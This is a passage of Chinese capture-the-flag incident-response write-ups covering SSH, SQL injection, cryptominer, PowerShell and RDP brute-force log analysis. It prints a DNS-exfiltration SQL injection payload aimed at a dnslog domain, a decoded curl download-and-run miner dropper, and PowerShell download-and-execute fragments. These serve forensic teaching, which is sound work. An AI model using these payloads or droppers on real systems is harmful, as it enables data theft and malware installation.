| 02:01:51 | Accepted password for admin from 203.0.113.88 port 52341 | SSH 成功登录,IP 与端口一致 |
| 02:02:05 | sh -c "echo '<hex>' | xxd -p -r | bash" | 执行混淆后的恶意命令 |
易错点: 193.106.30.99 虽有大量爆破与一条成功登录,但无防火墙佐证;10.0.0.x / 192.168.1.x 为内网干扰项。应以防火墙 SRC + SPT 关联 SSH port 作为 ground truth。
Flag
flag{203.0.113.88_update.sh_755}Sql注入的应急排查

题目信息
- 附件文件:
access.log - 日志类型:Web 访问日志
- 攻击类型:SQL 注入扫描与 DNS 外带
- Flag 格式:
flag{abc.xyz.cn} - 最终 Flag:
flag{p9fin2.dnslog.cn}
背景描述
某企业安全团队在日常运维过程中发现 WAF 告警,业务系统遭受大量 SQL 注入扫描。虽然大部分扫描请求被 WAF 拦截,但数据库服务器随后出现异常 DNS 查询记录。结合 Web 访问日志,需要判断攻击者是否通过 SQL 注入触发了数据库服务器的 DNS 查询,并找出攻击者用于接收外带数据的域名。
排查思路
SQL 注入结合 DNS 外带时,攻击者通常会让数据库服务器解析一个由敏感数据拼接出来的域名。例如在 MySQL 场景中,可能通过 load_file() 读取 UNC 路径:
load_file(concat('\\\\', 数据库查询结果, '.攻击者域名\\abc'))如果数据库服务器尝试访问该 UNC 路径,就会触发 DNS 解析,敏感信息会出现在子域名中,从而被攻击者控制的 DNSLog 平台记录。
因此排查重点包括:
- SQL 注入关键字:
select、union、sleep、benchmark - 文件读取函数:
load_file - DNS 外带常见平台:
dnslog - UNC 路径特征:
\\\\、%5C%5C - 被 WAF 拦截失败或响应码为
200的可疑请求
日志分析
首先查看日志规模和格式,发现 access.log 共有 45003 行,请求格式为常见 Nginx/Apache access log:
10.0.0.10 - - [20/May/2024:14:00:00 +0800] "GET /product?id=1000 HTTP/1.1" 200 2431 "https://www.baidu.com/" "Mozilla/5.0 ..."大量 SQL 注入扫描请求来自 103.56.12.87,例如:
103.56.12.87 - - [20/May/2024:14:00:00 +0800] "GET /product?id=1' and '1'='1 HTTP/1.1" 403 1024 "-" "Mozilla/5.0"这些请求返回 403,说明大部分扫描确实被拦截。
继续检索 load_file、dnslog、select、%5C 等特征,发现关键日志位于第 43271 行:
203.0.113.88 - - [20/May/2024:14:02:30 +0800] "GET /search?q=1%27%20AND%20(SELECT%20load_file(concat(%27%5C%5C%5C%5C%27,(select%20database()),%27.p9fin2.dnslog.cn%5C%5Cabc%27)))%20--%20 HTTP/1.1" 200 5000 "-" "Mozilla/5.0"对 URL 编码后的参数进行还原:
/search?q=1' AND (SELECT load_file(concat('\\\\',(select database()),'.p9fin2.dnslog.cn\\abc'))) --该 payload 的含义是:
SELECT load_file( concat( '\\\\', (select database()), '.p9fin2.dnslog.cn\\abc' ))攻击者通过 (select database()) 获取当前数据库名,并将其拼接到 p9fin2.dnslog.cn 的子域名前面。数据库服务器在解析该 UNC 路径时,会向攻击者控制的 DNSLog 域名发起 DNS 查询,从而完成数据外带。
关键结论
该请求返回状态码为 200,与大量被拦截的 403 扫描请求不同,说明该条 SQL 注入 payload 很可能绕过了 WAF 检测并被后端执行。
攻击者用于接收 DNS 外带数据的域名为:
p9fin2.dnslog.cnFlag
flag{p9fin2.dnslog.cn}应急处置建议
- 对
203.0.113.88相关访问记录进行溯源,确认是否存在更多绕过型 payload。 - 检查数据库服务器 DNS 查询日志,确认是否解析过
*.p9fin2.dnslog.cn。 - 排查
/search接口参数q是否存在 SQL 注入漏洞。 - 对数据库账号权限进行收敛,避免 Web 业务账号具备不必要的文件访问能力。
- 在 WAF 规则中补充对
load_file、UNC 路径、dnslog、双重编码反斜杠等特征的检测。 - 对业务代码使用参数化查询,避免直接拼接用户输入进入 SQL 语句。
挖矿病毒处置

Summary
题目给出一个高度混淆的 Linux 恶意脚本 sd-pam.sh。脚本采用双层 Base64 编码隐藏真实行为:第一层仅输出伪装日志,第二层生成临时下载器脚本,通过 curl 从远程域名拉取挖矿程序。解出第二层脚本后,再对域名变量做一次 Base64 解码即可得到 flag。
Solution
Step 1: 识别脚本结构
打开 sd-pam.sh,可见两类混淆变量:
| 变量组 | 拼接后操作 | 作用 |
|---|---|---|
_sysc4 ~ _l0gzz | base64 -d → eval | 伪装行为,输出 [Info] System updated 到 /dev/null |
_kmodx ~ _xxlog | 拼接 → base64 -d → 写入 /tmp/.sd-pam.$$ 并执行 | 真正的恶意载荷 |
关键代码:
_rX=$(echo ${_sysc4}${_devk8}... | base64 -d)eval "$_rX" >/dev/null 2>&1 # 第一层:迷惑性输出
_journal=$(echo ${_kmodx}${_netd0}... | tr -d '\n')echo ${_journal} | base64 -d > /tmp/.sd-pam.$$bash /tmp/.sd-pam.$$ # 第二层:下载并运行挖矿程序Step 2: 解码第二层载荷
将 _kmodx 至 _xxlog 按顺序拼接后 Base64 解码,得到内层下载脚本:
#!/bin/bashA1="ZXZpbC11cGRhdGUtY2RuLmNvbQ=="D=$(echo ${A1} | base64 -d)URL="http://${D}/.sysd"curl -fsSL ${URL} -o /tmp/.sysdchmod +x /tmp/.sysdnohup /tmp/.syst >/dev/null 2>&1 &攻击链清晰:curl 从 http://<域名>/.sysd 下载二进制,保存为 /tmp/.sysd,赋予执行权限后在后台运行(对应题目中的 kdevtmpfsi 挖矿进程)。
Step 3: 提取恶意域名
对变量 A1 做 Base64 解码:
ZXZpbC11cGRhdGUtY2RuLmNvbQ== → evil-update-cdn.com一键解题脚本
import base64
# 第二层载荷(sd-pam.sh 中 _kmodx ~ _xxlog 拼接结果)stage2_b64 = ( "IyEvYmluL2Jhc2gKQTE9IlpYWnBiQzExY0dSaGRHVXRZMlJ1TG1OdmJRPT0iCk" "Q9JChlY2hvICR7QTF9IHwgYmFzZTY0IC1kKQpVUkw9Imh0dHA6Ly8ke0R9Ly5z" "eXNkIgpjdXJsIC1mc1NMICR7VVJMfSAtbyAvdG1wLy5zeXNkCmNobW9kICt4IC90" "bXAvLnN5c2QKbm9odXAgL3RtcC8uc3lzdCA+L2Rldi9udWxsIDI+JjEgJgo=")
stage2 = base64.b64decode(stage2_b64).decode()print("=== 第二层脚本 ===")print(stage2)
# 从 A1 变量提取域名import rem = re.search(r'A1="([^"]+)"', stage2)domain = base64.b64decode(m.group(1)).decode()print(f"\n=== 恶意域名 ===\n{domain}")print(f"\nflag{{{domain}}}")运行输出:
=== 第二层脚本 ===#!/bin/bashA1="ZXZpbC11cGRhdGUtY2RuLmNvbQ=="D=$(echo ${A1} | base64 -d)URL="http://${D}/.sysd"curl -fsSL ${URL} -o /tmp/.sysd...
=== 恶意域名 ===evil-update-cdn.com
flag{evil-update-cdn.com}Flag
flag{evil-update-cdn.com}深夜更新

Summary
题目提供一份可疑 PowerShell 脚本 update.ps1,经多层混淆后隐藏了恶意下载地址。通过静态还原 Base64 → Gzip → XOR → 字符替换,即可提取攻击者用于下载恶意程序的域名。
Solution
Step 1: 识别脚本行为与混淆层次
脚本整体是典型的 下载执行(Download & Execute) 载荷,执行流程如下:
- 用 ASCII 码数组拼接敏感 API 名称(
iex、New-Object、Net.WebClient),规避静态字符串检测 - 对嵌入的 Base64 字符串做解码,再用
GzipStream解压 - 对解压结果逐字节 XOR 23
- 做字符替换:
%→h,!→t,@→p(用于还原http://) - 按
|分割,取第一段作为下载 URL - 调用
Net.WebClient.DownloadFile将文件保存到%TEMP%\winupd.exe,随后Start-Process执行
关键代码片段:
${_7hH} = 'H4sIAJLU/mkC/zMyMwvXtbAoSqyrtkpKLy5LLrIqKa60LKmosoBwLYvyi7LzAaIZrJonAAAA'# ... Base64 解码 + Gzip 解压 ...${_jM9} += [char](([byte][char]${_eW3}[$_]) -bxor 23)${_pT6} = ${_kL2}.Replace('%','h').Replace('!','t').Replace('@','p')${_yN5}.DownloadFile(${_qX4}, ${_cR7})Start-Process ${_cR7}Step 2: 静态解密提取下载 URL
按脚本逻辑逆序还原嵌入载荷,得到完整下载地址及域名。
import base64import gzipfrom urllib.parse import urlparse
B64 = "H4sIAJLU/mkC/zMyMwvXtbAoSqyrtkpKLy5LLrIqKa60LKmosoBwLYvyi7LzAaIZrJonAAAA"
raw = gzip.decompress(base64.b64decode(B64)).decode()xored = "".join(chr(ord(c) ^ 23) for c in raw)url = xored.replace("%", "h").replace("!", "t").replace("@", "p").split("|")[0]domain = urlparse(url).hostname
print("decoded:", xored)print("url:", url)print("domain:", domain)print(f"flag{{{domain}}}")运行输出:
decoded: %!!@://evil-update-cdn.com/update.exe|xurl: http://evil-update-cdn.com/update.exedomain: evil-update-cdn.comflag{evil-update-cdn.com}攻击者将恶意程序托管在 evil-update-cdn.com,伪装成系统更新 CDN 域名,下载路径为 /update.exe。
Flag
flag{evil-update-cdn.com}不安全的远程桌面

Summary
题目提供 Windows 安全事件日志 Security_log.xml,需从 RDP 暴力破解行为中定位攻击源 IP 与成功登录账号。核心思路是筛选 LogonType=10 的登录事件,统计 4625 失败来源 IP,并关联后续 4624 成功登录。
Solution
Step 1: 识别 RDP 相关事件
Windows 安全日志中与远程桌面登录相关的关键事件 ID:
| Event ID | 含义 |
|---|---|
| 4625 | 登录失败 |
| 4624 | 登录成功 |
| 4740 | 账户被锁定 |
| 4634 | 注销 |
RDP 登录的 LogonType 为 10(RemoteInteractive)。日志中来源 IP 字段名为 SourceNetworkAddress(不是 IpAddress)。
Step 2: 统计失败登录来源 IP
对 EventID=4625 且 LogonType=10 的事件按 SourceNetworkAddress 聚合:
| 源 IP | 失败次数 |
|---|---|
| 192.168.10.3 | 155 |
| 192.168.10.77 | 5 |
| 192.168.10.28 | 3 |
| 其他 | ≤3 |
192.168.10.3 发起 155 次 RDP 失败登录,远超其他地址,为暴力破解攻击源。
Step 3: 关联成功登录
攻击时间线(2026-05-11,节选):
09:06:19 4625 administrator 192.168.10.3 失败09:06:41 4740 administrator 账户锁定...09:55:04 4625 administrator 192.168.10.3 失败(持续爆破)10:00:33 4624 administrator 192.168.10.3 成功 ← 首次成功10:02:46 4624 administrator 192.168.10.3 成功(再次登录)同一源 IP 在大量 4625 失败后出现 4624 成功登录,目标账号为 administrator。
解题脚本
import xml.etree.ElementTree as ETfrom collections import Counter
tree = ET.parse("Security_log.xml")root = tree.getroot()
failures = [] # (ip, username)successes = [] # (ip, username, time)
for event in root.findall("Event"): eid = event.findtext("System/EventID") if eid not in ("4624", "4625"): continue
data = {d.get("Name"): (d.text or "") for d in event.findall("EventData/Data")} if data.get("LogonType") != "10": continue
ip = data.get("SourceNetworkAddress", "") user = data.get("TargetUserName", "") time = event.findtext("System/TimeCreated").get("SystemTime", "")
if eid == "4625" and ip: failures.append((ip, user)) elif eid == "4624" and ip: successes.append((ip, user, time))
# 攻击源:失败次数最多的 IPattacker_ip = Counter(ip for ip, _ in failures).most_common(1)[0][0]
# 该 IP 首次成功登录的账号for ip, user, t in sorted(successes, key=lambda x: x[2]): if ip == attacker_ip: print(f"flag{{{attacker_ip}_{user}}}") break运行输出:
flag{192.168.10.3_administrator}Flag
flag{192.168.10.3_administrator}如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时












